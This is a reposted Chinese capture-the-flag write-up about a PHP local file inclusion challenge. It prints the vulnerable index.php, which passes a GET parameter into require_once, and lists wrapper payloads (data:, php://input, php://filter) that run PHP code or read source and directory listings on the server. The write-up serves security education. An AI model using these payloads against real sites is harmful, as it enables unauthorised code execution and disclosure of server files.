正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议。
先放出原文链接:http://www.freebuf.com/column/150028.html
题目源自国外某挑战平台,平台上还有许多其他有趣的challenges题目。
站点地址:http://chall.tasteless.eu/
这次的题目链接:http://level3.tasteless.eu/
下面就做题吧。
首先看下源码
highlight_file('index.php');
/*
view file: php.ini
so here is my hint: the included php.ini file is part of the configugartion file used on the server the bug was found.
so there will be something in it which enables you to solve this level, wont?
always be UP TO DATE!
hint enough, might just take you seconds to do?!
*/
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!!!
$inc = @$_GET['file'];
@require_once($inc);
分析一下上面的代码
1,highlight_file() 函数对index.php文件进行语法高亮显示。
2,包含了anti_rfi.php,并提示不允许进行远程文件包含
3,使用require_one包含了GET请求的file参数。
4,注释的提示信息:要读取PHP.ini ,里面有敏感信息
首先来看一下php.ini,直接打开链接(http://level3.tasteless.eu/php.ini),ctrl+f 搜索allow
但是已经知道网站的根目录/var/www/chall/level3
失败:
失败:
<?php print_r(scandir('/var/www/chall/level3'))?>
成功得到flag
他们的一个总结:
1.分析站点给出的源代码
2.判断allow_url_fopen,allow_url_include的开启状态,来推测可以使用的伪协议
3.使用相应的伪协议执行代码获取flag
当无法判断allow_url_fopen,allow_url_include的开启状态时,可逐一尝试如下的请求判断哪些能够执行,如果有上传功能那么可能是考phar或zip等压缩流的知识点。
1.?file=data:text/plain,<?php phpinfo()?>
2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
3.?file=php://input [POST DATA:]<?php phpinfo()?>
4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
<?php highlight_file(‘anti_rfi.php’)?>
读取anti_rfi.php文件的源码信息。
转载自:https://www.cnblogs.com/Oran9e/p/7795057.html
本文始发于微信公众号(LemonSec):CTF 文件包含与伪协议
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论